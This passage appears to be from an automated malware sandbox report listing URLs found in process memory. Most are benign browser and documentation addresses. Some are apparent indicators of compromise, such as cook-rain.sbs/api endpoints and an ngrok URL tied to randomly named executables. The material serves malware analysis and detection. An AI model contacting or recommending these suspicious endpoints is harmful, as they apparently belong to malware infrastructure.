Source: firefox.exe, 00000025.00000002.3392853212.0000013848A4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000025.00000002.3391777614.000001384896E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3462223844.000001384CA69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000025.00000002.3423226571.000001384A717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3422545698.000001384A605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3416671749.000001384A0D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: powershell.exe, 00000012.00000002.3049906297.00000286BD261000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3172505170.000002C100001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000025.00000002.3416671749.000001384A083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180browser.storageManager.pressureNotification.minI
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3217036365.000001384988A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com;
Source: powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 41266a11cd.exe, 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3270887619.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3129023930.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3217338476.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3245941730.0000000000AFA000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3321897731.0000000000C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/)
Source: 41266a11cd.exe, 00000011.00000003.3173428242.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3174767905.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3173346286.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/2.
Source: 41266a11cd.exe, 00000011.00000003.3220281407.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3219279190.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3217338476.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/J.
Source: 41266a11cd.exe, 00000011.00000003.3219279190.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3217338476.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/M.
Source: 41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/_.
Source: 41266a11cd.exe, 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 41266a11cd.exe, 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiFWDl
Source: 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apix
Source: 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/z
Source: 41266a11cd.exe, 00000011.00000003.3173346286.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3380489922.0000000000A97000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3131778123.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: firefox.exe, 00000025.00000002.3364933567.0000013839611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: SillyShelf.tmp, 0000000E.00000003.2925625641.0000000005B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3415763324.0000013849FED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%schrome://extensions/content/schemas/browser_action
Source: regsvr32.exe, 00000010.00000003.2976303932.0000000003990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000025.00000002.3395309547.0000013848FD0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000025.00000002.3397387815.00000138491E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3364933567.0000013839691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000025.00000002.3364933567.0000013839691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comP43
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3458080576.000001384C189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3458080576.000001384C189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3458080576.000001384C189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more#urlbar-search-mode-indicator-close
Source: firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more#urlbar-search-mode-indicator-closeeNewlinesStripSur
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3458080576.000001384C189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000025.00000003.3302892250.00000138488BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3298521385.00000138488A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000025.00000003.3302892250.00000138488BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3298521385.00000138488A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
